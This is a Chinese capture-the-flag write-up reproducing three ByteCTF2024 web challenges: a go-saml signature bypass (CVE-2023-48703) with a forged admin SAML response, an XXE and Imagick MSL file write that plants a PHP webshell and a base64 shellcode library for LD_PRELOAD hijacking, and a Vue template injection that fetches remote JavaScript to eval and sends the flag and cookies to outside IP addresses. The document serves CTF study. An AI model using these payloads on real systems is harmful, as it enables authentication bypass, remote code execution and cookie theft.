ByteCTF2024复现
ezauth
SAML
SAML(Security Assertion Markup Language)是一种用于在不同域之间安全交换身份验证和授权数据的开放标准。它允许用户在多个应用程序和服务之间实现单点登录(SSO)。SAML 的核心概念包括:
- 身份提供者(IdP):负责用户身份验证并生成 SAML 断言,提供用户的身份信息。
- 服务提供者(SP):接收来自 IdP 的 SAML 断言,根据断言信息来授予用户访问权限。
- SAML 断言:包含有关用户身份的信息,比如用户的唯一标识符、认证状态、属性等。
- SAML 请求和响应:用户访问 SP 时,SP 会向 IdP 发送请求(AuthnRequest),IdP 验证用户后生成响应(Response),并将其返回给 SP。
SAML 的工作流程:
- 用户尝试访问 SP 的资源。
- SP 检测到用户尚未登录,并重定向用户到 IdP。
- 用户在 IdP 处输入凭据(如用户名和密码)。
- IdP 验证用户身份,生成 SAML 断言,并将其发送回 SP。
- SP 验证 SAML 断言,如果有效,允许用户访问资源。
go-saml演示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| package main
import ( "fmt" "log" "net/http"
"github.com/gin-gonic/gin" "github.com/RobotsAndPencils/go-saml" )
func main() { sp := &saml.ServiceProviderSettings{ PublicCertPath: "./cert/sp-cert.pem", PrivateKeyPath: "./cert/sp-key.pem", IDPSSOURL: "https://idp.example.com/sso", IDPSSODescriptorURL: "https://idp.example.com/metadata", IDPPublicCertPath: "./cert/idp-cert.pem", AssertionConsumerServiceURL: "http://localhost:8080/acs", SPSignRequest: true, }
err := sp.Init() if err != nil { log.Fatalf("SAML 初始化失败: %s", err) }
r := gin.Default()
r.GET("/saml/login", func(c *gin.Context) { authnRequest, err := sp.GetAuthnRequest() if err != nil { log.Printf("生成 SAML 请求失败: %s", err) c.String(http.StatusInternalServerError, "生成 SAML 请求失败") return } c.Redirect(http.StatusFound, authnRequest) })
r.POST("/acs", func(c *gin.Context) { encodedResponse := c.PostForm("SAMLResponse") if encodedResponse == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "缺少 SAMLResponse 参数"}) return }
samlResponse, err := saml.ParseEncodedResponse(encodedResponse) if err != nil { log.Printf("解析 SAML 响应失败: %s", err) c.JSON(http.StatusBadRequest, gin.H{"error": "解析 SAML 响应失败"}) return }
err = samlResponse.Validate(sp) if err != nil { log.Printf("SAML 响应验证失败: %s", err) c.JSON(http.StatusBadRequest, gin.H{"error": "SAML 响应验证失败"}) return }
uid := samlResponse.GetAttribute("uid") if uid == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "缺少 uid 属性"}) return }
c.JSON(http.StatusOK, gin.H{ "message": "登录成功", "uid": uid, }) })
r.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "欢迎使用 SAML 示例!") })
r.Run(":8080") }
|
复现
CVE-2023-48703
GHSL-2023-121:RobotsAndPencils/go-saml 中存在 SAML 身份验证绕过漏洞 - CVE-2023-48703 |GitHub 安全实验室
好难啊Go,引用一下队友Ec3o师傅的复现吧
⾸先过SAMLResponse的检测,go-saml底层调的是xmlsec1,理论上是存在⼀个CVE-2023-48703的,就是虽然指定了–pubkey-dem,xml⾥边有证书的话还是可以⽤⾥⾯那个验证的,也就是说只需要找⼀个能默认通过X509_verify_cert的证书,⾃⼰签response即可。
找了⽼半天,由于xmlsec1sign出来的玩意没有中间证书链,要直接从内置的CA签⼀个来的话,⼜好像没办法。然后试了⼀下发现连续放两个<samlsig:X509Certificate>进去,是能正常xmlsec1 verify的,所以随便整个LE啥的搭⽹站⽣成的证书签⼀下,这就解决了/acs路由的验证,拿到 random_code跟⼀个guest的JWT。
(最后才发现它好像调的是GitHub项⽬⾥边默认⾃带的default.key/crt??)
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlsig="http://www.w3.org/2000/09/xmldsig#" Destination="http://localhost:8000/saml_consume" ID="_b38d8561-d69f-48bf-77a5- 783da9328792" Version="2.0" IssueInstant="2024-09-21T06:23:13.437230381Z"
InResponseTo="abc"> <saml:Issuer>http://localhost:8000/saml_consume</saml:Issuer> <samlsig:Signature Id="_96c8ed02-c1ee-4322-4233-845ccdead67d"> <samlsig:SignedInfo> <samlsig:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <samlsig:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> <samlsig:Reference URI=""> <samlsig:Transforms> <samlsig:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> </samlsig:Transforms> <samlsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <samlsig:DigestValue>cPCj+ZmNWg+ADY/LiFH88+s/da0= </samlsig:DigestValue> </samlsig:Reference> </samlsig:SignedInfo> <samlsig:SignatureValue></samlsig:SignatureValue> <samlsig:KeyInfo> <samlsig:X509Data> <samlsig:X509Certificate>CHAIN1_CERT_B64</samlsig:X509Certificate><samlsig:X509Certificate>MY_CERT_B64</samlsig:X509Certificate> </samlsig:X509Data> </samlsig:KeyInfo> </samlsig:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_29cf1612-da76-45f5- 7552-3764fa8b41f2" Version="2.0" IssueInstant="2024-09-21T06:23:13.437234459Z">
<saml:Issuer>http://localhost:8000/saml_consume</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameidformat:transient">admin</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="abc" NotOnOrAfter="2034-09-21T06:28:13.437234739Z" Recipient="http://localhost:8000/saml_consume"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2024-09-21T06:18:13.43723516Z" NotOnOrAfter="2034-09-21T06:28:13.43723533Z"/> <saml:AttributeStatement> <saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue
xsi:type="xs:string">someone@domain</saml:AttributeValue>
</saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>
|
然后要绕过JWT,可以发现它有过期则重新签名的逻辑,但是判断了err为ValidationErrorExpired。再仔细看看,会发现这个判断其实并没有那么简单,它分了Inner跟Errors,前者会在验证签名时被
替换为SignatureInvalid,⽽后者是按位mask的.
根据代码逻辑能发现,ValidationErrorExpired是能⼀层层传递出来的,也就是说尽管签名验证失败,在后⾯仍会⾛到过期重签的逻辑,根据⾮法的body⽣成⼀个新的JWT,由此可伪造admin。
ezobj
LD_PRELOAD劫持
在 Linux 系统中,LD_PRELOAD 是一个环境变量,它允许用户在程序启动前指定要预先加载的共享库。在程序执行过程中,系统首先加载 LD_PRELOAD 中指定的共享库,然后再加载程序所依赖的库文件。因此,攻击者可以通过将恶意库放入 LD_PRELOAD,替换目标程序中使用的某些函数,实现功能劫持。
LD_PRELOAD劫持
复现
根据wm的wp整理了一下思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php ini_set("display_errors", "On"); include_once("config.php"); if (isset($_GET['so']) && isset($_GET['key'])) { if (is_numeric($_GET['so']) && $_GET['key'] === $secret) { array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*')); putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so"); } } if (isset($_GET['byte']) && isset($_GET['ctf'])) { $a = new ReflectionClass($_GET['byte']); $b = $a->newInstanceArgs($_GET['ctf']); } elseif (isset($_GET['clean'])){ array_map('unlink', glob('/tmp/*')); } else { highlight_file(__FILE__); echo 'Hello ByteCTF2024!'; }
|
应该就是想让我们劫持LD_PRELOAD最后rce
phpinfo给出了imagick,考虑通过read、write标签落地远程文件

通过SimpleXml去进行xxe读取config.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST /?byte=SimpleXMLElement&ctf[0]=http://8.130.24.188/evil.xml&ctf[1]=2&ctf[2]=true HTTP/1.1 Host: a1bc48a6.clsadp.com Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP Content-Length: 345
------WebKitFormBoundaryTrWYaXKoVR1wiLhP Content-Disposition: form-data; name="file"; filename="vulhub.msl" Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php system($_REQUEST['cmd']); ?>"/> <write filename="info:s.php" /> </image> ------WebKitFormBoundaryTrWYaXKoVR1wiLhP--
|
拿到secrert=HelloByteCTF2024
php产生的临时文件并不会被清除,这一点在phpinfo写了。因此直接上传我们的恶意so即可,在这之前先compile一个msf的木马,劫持ld_preload会卡死因此需要用msf
写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST /?byte=Imagick&ctf[0]=vid:msl:/tmp/php* HTTP/1.1 Host: 70b31e79.clsadp.com Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP Content-Length: 1037
------WebKitFormBoundaryTrWYaXKoVR1wiLhP Content-Disposition: form-data; name="file"; filename="vulhub.msl" Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAIAAAAAAACWAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAJ+wiCGLxRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g=="/> <write filename="/tmp/1.so" /> </image> ------WebKitFormBoundaryTrWYaXKoVR1wiLhP--
|
配置文件拿到redis密码:bytectfa0d90b
后续redis module提权

redis提权
- Redis 是完全开源,遵守 BSD 协议的高性能 key-value 数据库。
- Redis的所有操作都是原子性的,意思就是要么成功执行要么失败完全不执行。单个操作是原子性的。多个操作也支持事务,即原子性,通过MULTI和EXEC指令包起来。
- Redis运行在内存中但是可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。
提权:
首先我们要做的第一步是登录到Redis里面去, 可进入方式有:
- redis未授权访问漏洞
- 弱口令
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
进入到redis客户端环境之后我们可以通过修改dir和dbfilename参数达到在指定文件写内容文件的目的,
渗透测试怎么利用Redis提权 - h0cksr - 博客园 (cnblogs.com)
CrossVue
用起来也是 vue,找个地方注入 vue 的模板:

验证是成功的,所以只要 Profile 不出现<> 等会被html转移的字符就好了,可以{{eval(atob('base64'))}}
另外,想办法控制到80个字符以内就好
1
| {{fetch('http://test.example.com:51008/').then(t=>t.text()).then(eval)}}
|
- fetch: 从
http://test.example.com:51008/ 地址发起网络请求。
- then(t => t.text()): 当请求成功时,将响应的内容转换为文本格式。
- then(eval): 将转换后的文本内容作为代码执行。
在vps上面还要再写一个js
1 2 3
| fetch('/admin').then(r => r.text()) .then(t => t.match(/<h1>(.*?)<\/h1>/)[1]) .then(flag => fetch('http://test.example.com:51008/?q=' + flag, { 'no-cors': true }))
|
- fetch(‘/admin’): 发送请求到
/admin 路径。
- .then(r => r.text()): 将响应转换为文本。
- .then(t => t.match(/
(.*?)
/)[1]): 使用正则表达式匹配并提取 <h1> 标签内的内容。
- .then(flag => fetch(‘http://27.25.151.48:12138/?q= ‘ + flag, {‘no-cors’: true})): 将提取到的文本作为查询参数发送到指定的 URL。
配置一个允许跨域
修改一下payload
1
| {{fetch('http://27.25.151.48:12138/index.js').then(t=>t.text()).then(eval)}}
|
但是这样子的话,我在想怎么处理回显的问题,怎么去看呢,后来交流知道了要不直接在SSTI里面插入xss来打
1
| {{eval('document.location=\"http://27.25.151.48:9999/?a=\"+document.cookie')}}
|
- eval: 该函数用于执行传入的字符串代码。在这里,它被用来执行包含在字符串中的 JavaScript 代码。
- document.location: 这是一个对象,表示当前文档的 URL。通过设置它,你可以改变浏览器的地址。
- “http://27.25.151.48:9999/?a=\ “ + document.cookie: 这个字符串构造了一个新的 URL,其中
document.cookie 将被附加为查询参数 a。这样,你会向 http://27.25.151.48:9999 发送请求,并包含当前页面的 cookie 信息。
那么拿到cookie登录即可